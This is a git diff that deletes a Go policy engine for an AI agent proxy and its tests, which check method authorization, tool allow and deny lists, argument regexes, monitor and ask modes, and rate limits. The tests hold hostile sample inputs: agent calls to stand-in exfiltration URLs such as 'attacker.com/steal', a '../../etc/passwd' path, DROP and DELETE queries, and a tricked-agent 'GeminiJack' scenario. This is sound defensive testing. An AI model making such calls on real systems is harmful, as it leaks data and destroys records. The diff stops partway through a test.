- defer e.limiterMu.Unlock()
-
- for normalized, rule := range e.toolRules {
- if rule.parsedRateLimit > 0 {
- e.limiters[normalized] = rate.NewLimiter(rule.parsedRateLimit, rule.parsedBurst)
- }
- }
-}
-
-// -----------------------------------------------------------------------------
-// Method-Level Authorization (First Line of Defense)
-// -----------------------------------------------------------------------------
-
-// MethodDecision contains the result of a method-level authorization check.
-// This is checked BEFORE tool-level policy to prevent bypass attacks via
-// uncontrolled MCP methods like resources/read or prompts/get.
-type MethodDecision struct {
- // Allowed indicates if the method should be permitted.
- Allowed bool
-
- // Reason provides a human-readable explanation of the decision.
- Reason string
-}
-
-// IsMethodAllowed checks if a JSON-RPC method is permitted by policy.
-//
-// This is the FIRST line of defense, checked before tool-level policy.
-// It prevents bypass attacks where an attacker uses MCP methods that aren't
-// subject to tool-level checks (e.g., resources/read, prompts/get).
-//
-// The check flow is:
-// 1. Check if method is in denied_methods β DENY
-// 2. Check if "*" wildcard is in allowed_methods β ALLOW
-// 3. Check if method is in allowed_methods β ALLOW
-// 4. Otherwise β DENY (fail-closed)
-//
-// Method names are normalized to lowercase for case-insensitive matching.
-// This prevents bypass via "Resources/Read" vs "resources/read".
-//
-// Example:
-//
-// decision := engine.IsMethodAllowed("resources/read")
-// if !decision.Allowed {
-// // Return -32006 Method Not Allowed error
-// }
-func (e *Engine) IsMethodAllowed(method string) MethodDecision {
- // Normalize using Unicode-safe normalization
- // This prevents bypass attacks via fullwidth chars, etc.
- normalized := NormalizeName(method)
-
- // No policy loaded = use defaults (fail-open for basic MCP methods)
- if e.allowedMethods == nil && e.deniedMethods == nil {
- for _, m := range DefaultAllowedMethods {
- if strings.ToLower(m) == normalized {
- return MethodDecision{
- Allowed: true,
- Reason: "method in default allowlist (no policy loaded)",
- }
- }
- }
- return MethodDecision{
- Allowed: false,
- Reason: "method not in default allowlist (no policy loaded)",
- }
- }
-
- // Step 1: Check deny list first (takes precedence)
- if _, denied := e.deniedMethods[normalized]; denied {
- return MethodDecision{
- Allowed: false,
- Reason: "method explicitly denied by denied_methods",
- }
- }
-
- // Step 2: Check for wildcard (allows everything not denied)
- if _, ok := e.allowedMethods["*"]; ok {
- return MethodDecision{
- Allowed: true,
- Reason: "wildcard '*' in allowed_methods permits all methods",
- }
- }
-
- // Step 3: Check if method is in allowed list
- if _, allowed := e.allowedMethods[normalized]; allowed {
- return MethodDecision{
- Allowed: true,
- Reason: "method in allowed_methods",
- }
- }
-
- // Step 4: Default deny (fail-closed)
- return MethodDecision{
- Allowed: false,
- Reason: fmt.Sprintf("method %q not in allowed_methods", method),
- }
-}
-
-// GetAllowedMethods returns a copy of the allowed methods list for inspection.
-func (e *Engine) GetAllowedMethods() []string {
- if e.allowedMethods == nil {
- return DefaultAllowedMethods
- }
-
- result := make([]string, 0, len(e.allowedMethods))
- for method := range e.allowedMethods {
- result = append(result, method)
- }
- return result
-}
-
-// GetDeniedMethods returns a copy of the denied methods list for inspection.
-func (e *Engine) GetDeniedMethods() []string {
- if e.deniedMethods == nil {
- return nil
- }
-
- result := make([]string, 0, len(e.deniedMethods))
- for method := range e.deniedMethods {
- result = append(result, method)
- }
- return result
-}
diff --git a/implementations/go-proxy/pkg/policy/engine_test.go b/implementations/go-proxy/pkg/policy/engine_test.go
deleted file mode 100644
index 18071c1..0000000
--- a/implementations/go-proxy/pkg/policy/engine_test.go
+++ /dev/null
@@ -1,2219 +0,0 @@
-// Package policy tests for the AIP policy engine.
-package policy
-
-import (
- "os"
- "strings"
- "testing"
-)
-
-// TestGeminiJackDefense tests the "GeminiJack" attack defense.
-//
-// Attack scenario: An attacker tricks an agent into calling fetch_url with
-// a malicious URL like "https://attacker.com/steal" instead of the intended
-// "https://github.com/..." URL.
-//
-// Defense: The policy engine validates the url argument against a regex
-// that only allows GitHub URLs.
-func TestGeminiJackDefense(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: gemini-jack-defense-test
-spec:
- tool_rules:
- - tool: fetch_url
- allow_args:
- url: "^https://github\\.com/.*"
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- tests := []struct {
- name string
- tool string
- args map[string]any
- wantAllowed bool
- wantFailArg string
- }{
- {
- name: "Valid GitHub URL should pass",
- tool: "fetch_url",
- args: map[string]any{"url": "https://github.com/my-repo"},
- wantAllowed: true,
- },
- {
- name: "Attacker URL should fail",
- tool: "fetch_url",
- args: map[string]any{"url": "https://attacker.com/steal"},
- wantAllowed: false,
- wantFailArg: "url",
- },
- {
- name: "HTTP GitHub URL should fail (not https)",
- tool: "fetch_url",
- args: map[string]any{"url": "http://github.com/my-repo"},
- wantAllowed: false,
- wantFailArg: "url",
- },
- {
- name: "GitHub subdomain attack should fail",
- tool: "fetch_url",
- args: map[string]any{"url": "https://github.com.evil.com/my-repo"},
- wantAllowed: false,
- wantFailArg: "url",
- },
- {
- name: "Missing url argument should fail",
- tool: "fetch_url",
- args: map[string]any{},
- wantAllowed: false,
- wantFailArg: "url",
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- result := engine.IsAllowed(tt.tool, tt.args)
-
- if result.Allowed != tt.wantAllowed {
- t.Errorf("IsAllowed() = %v, want %v", result.Allowed, tt.wantAllowed)
- }
-
- if tt.wantFailArg != "" && result.FailedArg != tt.wantFailArg {
- t.Errorf("FailedArg = %q, want %q", result.FailedArg, tt.wantFailArg)
- }
- })
- }
-}
-
-// TestToolLevelDeny tests that tools not in allowed_tools are denied.
-func TestToolLevelDeny(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: tool-level-test
-spec:
- allowed_tools:
- - safe_tool
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- tests := []struct {
- name string
- tool string
- wantAllowed bool
- }{
- {"Allowed tool passes", "safe_tool", true},
- {"Allowed tool case-insensitive", "SAFE_TOOL", true},
- {"Unknown tool denied", "dangerous_tool", false},
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- result := engine.IsAllowed(tt.tool, nil)
- if result.Allowed != tt.wantAllowed {
- t.Errorf("IsAllowed(%q) = %v, want %v", tt.tool, result.Allowed, tt.wantAllowed)
- }
- })
- }
-}
-
-// TestDeniedToolsTakesPrecedence tests that denied_tools blocks tools
-// even if they are in allowed_tools (deny wins over allow).
-func TestDeniedToolsTakesPrecedence(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: denied-tools-test
-spec:
- allowed_tools:
- - safe_tool
- - dangerous_tool
- denied_tools:
- - dangerous_tool
- - never_allow
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- tests := []struct {
- name string
- tool string
- wantAllowed bool
- wantReason string
- }{
- {
- name: "Tool only in allowed_tools should pass",
- tool: "safe_tool",
- wantAllowed: true,
- },
- {
- name: "Tool in both allowed and denied should be blocked (deny wins)",
- tool: "dangerous_tool",
- wantAllowed: false,
- wantReason: "denied_tools",
- },
- {
- name: "Tool only in denied_tools should be blocked",
- tool: "never_allow",
- wantAllowed: false,
- wantReason: "denied_tools",
- },
- {
- name: "Tool not in any list should be blocked",
- tool: "unknown_tool",
- wantAllowed: false,
- wantReason: "allowed_tools",
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- result := engine.IsAllowed(tt.tool, nil)
- if result.Allowed != tt.wantAllowed {
- t.Errorf("IsAllowed(%q) = %v, want %v (reason: %s)",
- tt.tool, result.Allowed, tt.wantAllowed, result.Reason)
- }
- if tt.wantReason != "" && !strings.Contains(result.Reason, tt.wantReason) {
- t.Errorf("Reason = %q, want to contain %q", result.Reason, tt.wantReason)
- }
- })
- }
-}
-
-// TestGetDeniedTools tests the GetDeniedTools accessor method.
-func TestGetDeniedTools(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: denied-tools-accessor-test
-spec:
- allowed_tools:
- - some_tool
- denied_tools:
- - tool_a
- - tool_b
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- denied := engine.GetDeniedTools()
- if len(denied) != 2 {
- t.Fatalf("GetDeniedTools() returned %d tools, want 2", len(denied))
- }
-
- // Check that both tools are present
- found := make(map[string]bool)
- for _, tool := range denied {
- found[tool] = true
- }
- if !found["tool_a"] || !found["tool_b"] {
- t.Errorf("GetDeniedTools() = %v, want [tool_a, tool_b]", denied)
- }
-}
-
-// TestToolWithNoArgRulesAllowsAllArgs tests that tools in tool_rules
-// without allow_args allow all arguments.
-func TestToolWithNoArgRulesAllowsAllArgs(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: no-arg-rules-test
-spec:
- allowed_tools:
- - unrestricted_tool
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Tool is allowed, no arg rules = allow any args
- result := engine.IsAllowed("unrestricted_tool", map[string]any{
- "any_arg": "any_value",
- "another": 12345,
- "dangerous": "../../etc/passwd",
- })
-
- if !result.Allowed {
- t.Errorf("Expected unrestricted_tool to allow all args, got denied")
- }
-}
-
-// TestMultipleArgConstraints tests that multiple arguments are all validated.
-func TestMultipleArgConstraints(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: multi-arg-test
-spec:
- tool_rules:
- - tool: run_query
- allow_args:
- database: "^(prod|staging)$"
- query: "^SELECT\\s+.*"
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- tests := []struct {
- name string
- args map[string]any
- wantAllowed bool
- wantFailArg string
- }{
- {
- name: "Valid SELECT on prod",
- args: map[string]any{"database": "prod", "query": "SELECT * FROM users"},
- wantAllowed: true,
- },
- {
- name: "Valid SELECT on staging",
- args: map[string]any{"database": "staging", "query": "SELECT id FROM orders"},
- wantAllowed: true,
- },
- {
- name: "DROP query should fail",
- args: map[string]any{"database": "prod", "query": "DROP TABLE users"},
- wantAllowed: false,
- wantFailArg: "query",
- },
- {
- name: "Invalid database should fail",
- args: map[string]any{"database": "master", "query": "SELECT * FROM users"},
- wantAllowed: false,
- wantFailArg: "database",
- },
- {
- name: "DELETE query should fail",
- args: map[string]any{"database": "prod", "query": "DELETE FROM users"},
- wantAllowed: false,
- wantFailArg: "query",
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- result := engine.IsAllowed("run_query", tt.args)
-
- if result.Allowed != tt.wantAllowed {
- t.Errorf("IsAllowed() = %v, want %v", result.Allowed, tt.wantAllowed)
- }
-
- if !tt.wantAllowed && tt.wantFailArg != "" && result.FailedArg != tt.wantFailArg {
- t.Errorf("FailedArg = %q, want %q", result.FailedArg, tt.wantFailArg)
- }
- })
- }
-}
-
-// TestInvalidRegexReturnsError tests that invalid regex patterns cause Load() to fail.
-func TestInvalidRegexReturnsError(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: invalid-regex-test
-spec:
- tool_rules:
- - tool: bad_tool
- allow_args:
- pattern: "[invalid(regex"
-`
-
- engine := NewEngine()
- err := engine.Load([]byte(policyYAML))
-
- if err == nil {
- t.Error("Expected Load() to fail with invalid regex, but it succeeded")
- }
-}
-
-// TestArgToString tests conversion of various types to strings.
-func TestArgToString(t *testing.T) {
- tests := []struct {
- input any
- want string
- }{
- {"hello", "hello"},
- {float64(42), "42"},
- {float64(3.14), "3.14"},
- {true, "true"},
- {false, "false"},
- {int(100), "100"},
- }
-
- for _, tt := range tests {
- got := argToString(tt.input)
- if got != tt.want {
- t.Errorf("argToString(%v) = %q, want %q", tt.input, got, tt.want)
- }
- }
-}
-
-// TestToolRulesImplicitlyAllowTool tests that defining a tool_rule
-// implicitly adds the tool to allowed_tools.
-func TestToolRulesImplicitlyAllowTool(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: implicit-allow-test
-spec:
- # Note: fetch_url NOT in allowed_tools, but has a tool_rule
- tool_rules:
- - tool: fetch_url
- allow_args:
- url: "^https://.*"
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Tool should be allowed because it has a rule defined
- result := engine.IsAllowed("fetch_url", map[string]any{"url": "https://example.com"})
- if !result.Allowed {
- t.Error("Expected fetch_url to be implicitly allowed via tool_rules")
- }
-}
-
-// -----------------------------------------------------------------------------
-// Monitor Mode Tests (Phase 4)
-// -----------------------------------------------------------------------------
-
-// TestMonitorModeAllowsViolations tests that monitor mode allows through
-// requests that would otherwise be blocked, but flags ViolationDetected.
-func TestMonitorModeAllowsViolations(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: monitor-mode-test
-spec:
- mode: monitor
- allowed_tools:
- - safe_tool
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Verify mode is set correctly
- if engine.GetMode() != ModeMonitor {
- t.Errorf("GetMode() = %q, want %q", engine.GetMode(), ModeMonitor)
- }
- if !engine.IsMonitorMode() {
- t.Error("IsMonitorMode() = false, want true")
- }
-
- tests := []struct {
- name string
- tool string
- wantAllowed bool
- wantViolation bool
- }{
- {
- name: "Allowed tool - no violation",
- tool: "safe_tool",
- wantAllowed: true,
- wantViolation: false,
- },
- {
- name: "Blocked tool - allowed in monitor mode with violation flag",
- tool: "dangerous_tool",
- wantAllowed: true, // MONITOR: allowed through
- wantViolation: true, // but flagged as violation
- },
- {
- name: "Another blocked tool - same behavior",
- tool: "rm_rf_slash",
- wantAllowed: true,
- wantViolation: true,
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- decision := engine.IsAllowed(tt.tool, nil)
-
- if decision.Allowed != tt.wantAllowed {
- t.Errorf("Allowed = %v, want %v", decision.Allowed, tt.wantAllowed)
- }
- if decision.ViolationDetected != tt.wantViolation {
- t.Errorf("ViolationDetected = %v, want %v", decision.ViolationDetected, tt.wantViolation)
- }
- })
- }
-}
-
-// TestEnforceModeBlocksViolations tests that enforce mode (default) blocks
-// violations and sets ViolationDetected appropriately.
-func TestEnforceModeBlocksViolations(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: enforce-mode-test
-spec:
- mode: enforce
- allowed_tools:
- - safe_tool
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Verify mode is set correctly
- if engine.GetMode() != ModeEnforce {
- t.Errorf("GetMode() = %q, want %q", engine.GetMode(), ModeEnforce)
- }
- if engine.IsMonitorMode() {
- t.Error("IsMonitorMode() = true, want false")
- }
-
- tests := []struct {
- name string
- tool string
- wantAllowed bool
- wantViolation bool
- }{
- {
- name: "Allowed tool - no violation",
- tool: "safe_tool",
- wantAllowed: true,
- wantViolation: false,
- },
- {
- name: "Blocked tool - denied with violation flag",
- tool: "dangerous_tool",
- wantAllowed: false, // ENFORCE: blocked
- wantViolation: true,
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- decision := engine.IsAllowed(tt.tool, nil)
-
- if decision.Allowed != tt.wantAllowed {
- t.Errorf("Allowed = %v, want %v", decision.Allowed, tt.wantAllowed)
- }
- if decision.ViolationDetected != tt.wantViolation {
- t.Errorf("ViolationDetected = %v, want %v", decision.ViolationDetected, tt.wantViolation)
- }
- })
- }
-}
-
-// TestDefaultModeIsEnforce tests that omitting mode defaults to enforce.
-func TestDefaultModeIsEnforce(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: default-mode-test
-spec:
- # mode not specified - should default to enforce
- allowed_tools:
- - safe_tool
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- if engine.GetMode() != ModeEnforce {
- t.Errorf("Default mode = %q, want %q", engine.GetMode(), ModeEnforce)
- }
-
- // Verify enforce behavior: blocked tool is denied
- decision := engine.IsAllowed("blocked_tool", nil)
- if decision.Allowed {
- t.Error("Default mode should block disallowed tools, but Allowed=true")
- }
- if !decision.ViolationDetected {
- t.Error("ViolationDetected should be true for blocked tool")
- }
-}
-
-// TestInvalidModeReturnsError tests that invalid mode values cause Load() to fail.
-func TestInvalidModeReturnsError(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: invalid-mode-test
-spec:
- mode: invalid_mode
- allowed_tools:
- - safe_tool
-`
-
- engine := NewEngine()
- err := engine.Load([]byte(policyYAML))
-
- if err == nil {
- t.Error("Expected Load() to fail with invalid mode, but it succeeded")
- }
-}
-
-// TestMonitorModeWithArgValidation tests monitor mode with argument-level
-// validation failures.
-func TestMonitorModeWithArgValidation(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: monitor-args-test
-spec:
- mode: monitor
- tool_rules:
- - tool: fetch_url
- allow_args:
- url: "^https://github\\.com/.*"
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- tests := []struct {
- name string
- args map[string]any
- wantAllowed bool
- wantViolation bool
- wantFailedArg string
- }{
- {
- name: "Valid GitHub URL - no violation",
- args: map[string]any{"url": "https://github.com/my-repo"},
- wantAllowed: true,
- wantViolation: false,
- wantFailedArg: "",
- },
- {
- name: "Attacker URL - allowed in monitor but flagged",
- args: map[string]any{"url": "https://evil.com/steal"},
- wantAllowed: true, // MONITOR: allowed through
- wantViolation: true, // flagged as violation
- wantFailedArg: "url",
- },
- {
- name: "Missing URL - allowed in monitor but flagged",
- args: map[string]any{},
- wantAllowed: true,
- wantViolation: true,
- wantFailedArg: "url",
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- decision := engine.IsAllowed("fetch_url", tt.args)
-
- if decision.Allowed != tt.wantAllowed {
- t.Errorf("Allowed = %v, want %v", decision.Allowed, tt.wantAllowed)
- }
- if decision.ViolationDetected != tt.wantViolation {
- t.Errorf("ViolationDetected = %v, want %v", decision.ViolationDetected, tt.wantViolation)
- }
- if tt.wantFailedArg != "" && decision.FailedArg != tt.wantFailedArg {
- t.Errorf("FailedArg = %q, want %q", decision.FailedArg, tt.wantFailedArg)
- }
- })
- }
-}
-
-// TestDecisionReason tests that decisions include helpful reason strings.
-func TestDecisionReason(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: reason-test
-spec:
- mode: monitor
- allowed_tools:
- - allowed_tool
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Test that reason is populated
- decision := engine.IsAllowed("blocked_tool", nil)
- if decision.Reason == "" {
- t.Error("Decision.Reason should not be empty")
- }
-
- // Allowed tool should also have a reason
- decision = engine.IsAllowed("allowed_tool", nil)
- if decision.Reason == "" {
- t.Error("Decision.Reason should not be empty for allowed tools")
- }
-}
-
-// -----------------------------------------------------------------------------
-// Human-in-the-Loop (ASK Action) Tests (Phase 5)
-// -----------------------------------------------------------------------------
-
-// TestAskActionReturnsAskDecision tests that action="ask" returns a Decision
-// with Action=ActionAsk, requiring user approval.
-func TestAskActionReturnsAskDecision(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: ask-action-test
-spec:
- tool_rules:
- - tool: dangerous_tool
- action: ask
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- decision := engine.IsAllowed("dangerous_tool", nil)
-
- if decision.Action != ActionAsk {
- t.Errorf("Action = %q, want %q", decision.Action, ActionAsk)
- }
- if decision.Allowed {
- t.Error("Allowed should be false for ASK decision (requires user approval)")
- }
- if decision.ViolationDetected {
- t.Error("ViolationDetected should be false for ASK (not a policy violation)")
- }
-}
-
-// TestBlockActionReturnsBlockDecision tests that action="block" unconditionally
-// blocks the tool call.
-func TestBlockActionReturnsBlockDecision(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: block-action-test
-spec:
- tool_rules:
- - tool: forbidden_tool
- action: block
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- decision := engine.IsAllowed("forbidden_tool", nil)
-
- if decision.Action != ActionBlock {
- t.Errorf("Action = %q, want %q", decision.Action, ActionBlock)
- }
- if decision.Allowed {
- t.Error("Allowed should be false for BLOCK decision")
- }
- if !decision.ViolationDetected {
- t.Error("ViolationDetected should be true for BLOCK")
- }
-}
-
-// TestAskActionWithArgValidation tests that action="ask" still validates
-// arguments before prompting the user.
-func TestAskActionWithArgValidation(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: ask-with-args-test
-spec:
- tool_rules:
- - tool: sensitive_tool
- action: ask
- allow_args:
- target: "^(staging|prod)$"
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- tests := []struct {
- name string
- args map[string]any
- wantAction string
- wantAllowed bool
- wantViolation bool
- wantFailedArg string
- }{
- {
- name: "Valid args returns ASK",
- args: map[string]any{"target": "staging"},
- wantAction: ActionAsk,
- wantAllowed: false, // Needs user approval
- wantViolation: false,
- wantFailedArg: "",
- },
- {
- name: "Invalid args returns BLOCK (not ASK)",
- args: map[string]any{"target": "production-eu"},
- wantAction: ActionBlock,
- wantAllowed: false,
- wantViolation: true,
- wantFailedArg: "target",
- },
- {
- name: "Missing required arg returns BLOCK",
- args: map[string]any{},
- wantAction: ActionBlock,
- wantAllowed: false,
- wantViolation: true,
- wantFailedArg: "target",
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- decision := engine.IsAllowed("sensitive_tool", tt.args)
-
- if decision.Action != tt.wantAction {
- t.Errorf("Action = %q, want %q", decision.Action, tt.wantAction)
- }
- if decision.Allowed != tt.wantAllowed {
- t.Errorf("Allowed = %v, want %v", decision.Allowed, tt.wantAllowed)
- }
- if decision.ViolationDetected != tt.wantViolation {
- t.Errorf("ViolationDetected = %v, want %v", decision.ViolationDetected, tt.wantViolation)
- }
- if tt.wantFailedArg != "" && decision.FailedArg != tt.wantFailedArg {
- t.Errorf("FailedArg = %q, want %q", decision.FailedArg, tt.wantFailedArg)
- }
- })
- }
-}
-
-// TestInvalidActionReturnsError tests that invalid action values cause Load() to fail.
-func TestInvalidActionReturnsError(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: invalid-action-test
-spec:
- tool_rules:
- - tool: bad_tool
- action: invalid_action
-`
-
- engine := NewEngine()
- err := engine.Load([]byte(policyYAML))
-
- if err == nil {
- t.Error("Expected Load() to fail with invalid action, but it succeeded")
- }
-}
-
-// TestDefaultActionIsAllow tests that omitting action defaults to "allow".
-func TestDefaultActionIsAllow(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: default-action-test
-spec:
- tool_rules:
- - tool: some_tool
- # action not specified - should default to allow
- allow_args:
- param: "^valid$"
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Valid args should be allowed directly (not ASK)
- decision := engine.IsAllowed("some_tool", map[string]any{"param": "valid"})
- if decision.Action != ActionAllow {
- t.Errorf("Default action = %q, want %q", decision.Action, ActionAllow)
- }
- if !decision.Allowed {
- t.Error("Tool with valid args should be allowed")
- }
-}
-
-// TestMixedActionsInPolicy tests a policy with multiple tools using different actions.
-func TestMixedActionsInPolicy(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: mixed-actions-test
-spec:
- allowed_tools:
- - safe_tool
- tool_rules:
- - tool: ask_tool
- action: ask
- - tool: block_tool
- action: block
- - tool: allow_tool
- action: allow
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- tests := []struct {
- tool string
- wantAction string
- }{
- {"safe_tool", ActionAllow},
- {"ask_tool", ActionAsk},
- {"block_tool", ActionBlock},
- {"allow_tool", ActionAllow},
- {"unknown_tool", ActionBlock}, // Not in allowed_tools
- }
-
- for _, tt := range tests {
- t.Run(tt.tool, func(t *testing.T) {
- decision := engine.IsAllowed(tt.tool, nil)
- if decision.Action != tt.wantAction {
- t.Errorf("Action for %q = %q, want %q", tt.tool, decision.Action, tt.wantAction)
- }
- })
- }
-}
-
-// TestDecisionIncludesAction tests that all decisions include the Action field.
-func TestDecisionIncludesAction(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: action-field-test
-spec:
- allowed_tools:
- - allowed_tool
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Allowed tool
- decision := engine.IsAllowed("allowed_tool", nil)
- if decision.Action == "" {
- t.Error("Decision.Action should not be empty for allowed tool")
- }
- if decision.Action != ActionAllow {
- t.Errorf("Action = %q, want %q", decision.Action, ActionAllow)
- }
-
- // Blocked tool
- decision = engine.IsAllowed("blocked_tool", nil)
- if decision.Action == "" {
- t.Error("Decision.Action should not be empty for blocked tool")
- }
- if decision.Action != ActionBlock {
- t.Errorf("Action = %q, want %q", decision.Action, ActionBlock)
- }
-}
-
-// -----------------------------------------------------------------------------
-// Rate Limiting Tests (Phase 6)
-// -----------------------------------------------------------------------------
-
-// TestParseRateLimit tests parsing of rate limit strings.
-func TestParseRateLimit(t *testing.T) {
- tests := []struct {
- name string
- input string
- wantLimit float64 // approximate rate per second
- wantBurst int
- wantErr bool
- }{
- {
- name: "Empty string - no rate limiting",
- input: "",
- wantLimit: 0,
- wantBurst: 0,
- wantErr: false,
- },
- {
- name: "5 per second",
- input: "5/second",
- wantLimit: 5.0,
- wantBurst: 5,
- wantErr: false,
- },
- {
- name: "5 per sec (short form)",
- input: "5/sec",
- wantLimit: 5.0,
- wantBurst: 5,
- wantErr: false,
- },
- {
- name: "60 per minute",
- input: "60/minute",
- wantLimit: 1.0, // 60/60 = 1 per second
- wantBurst: 60,
- wantErr: false,
- },
- {
- name: "2 per minute",
- input: "2/minute",
- wantLimit: 2.0 / 60.0,
- wantBurst: 2,
- wantErr: false,
- },
- {
- name: "3600 per hour",
- input: "3600/hour",
- wantLimit: 1.0, // 3600/3600 = 1 per second
- wantBurst: 3600,
- wantErr: false,
- },
- {
- name: "100 per hour",
- input: "100/hour",
- wantLimit: 100.0 / 3600.0,
- wantBurst: 100,
- wantErr: false,
- },
- {
- name: "Invalid format - no slash",
- input: "5minute",
- wantErr: true,
- },
- {
- name: "Invalid format - too many slashes",
- input: "5/per/minute",
- wantErr: true,
- },
- {
- name: "Invalid count - not a number",
- input: "abc/minute",
- wantErr: true,
- },
- {
- name: "Invalid count - zero",
- input: "0/minute",
- wantErr: true,
- },
- {
- name: "Invalid count - negative",
- input: "-5/minute",
- wantErr: true,
- },
- {
- name: "Invalid duration",
- input: "5/day",
- wantErr: true,
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- limit, burst, err := ParseRateLimit(tt.input)
-
- if tt.wantErr {
- if err == nil {
- t.Errorf("ParseRateLimit(%q) expected error, got nil", tt.input)
- }
- return
- }
-
- if err != nil {
- t.Errorf("ParseRateLimit(%q) unexpected error: %v", tt.input, err)
- return
- }
-
- if burst != tt.wantBurst {
- t.Errorf("ParseRateLimit(%q) burst = %d, want %d", tt.input, burst, tt.wantBurst)
- }
-
- // Compare limits with some tolerance for floating point
- gotLimit := float64(limit)
- if gotLimit < tt.wantLimit*0.99 || gotLimit > tt.wantLimit*1.01 {
- t.Errorf("ParseRateLimit(%q) limit = %f, want %f", tt.input, gotLimit, tt.wantLimit)
- }
- })
- }
-}
-
-// TestRateLimitEnforcement tests that rate limits are enforced correctly.
-// This is the key test: "2/minute" should allow first 2 calls, block subsequent.
-func TestRateLimitEnforcement(t *testing.T) {
- policyYAML := `
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: rate-limit-test
-spec:
- tool_rules:
- - tool: fast_tool
- rate_limit: "2/minute"
-`
-
- engine := NewEngine()
- if err := engine.Load([]byte(policyYAML)); err != nil {
- t.Fatalf("Failed to load policy: %v", err)
- }
-
- // Simulate 5 rapid calls to fast_tool
- // First 2 should succeed (burst), remaining 3 should be rate limited
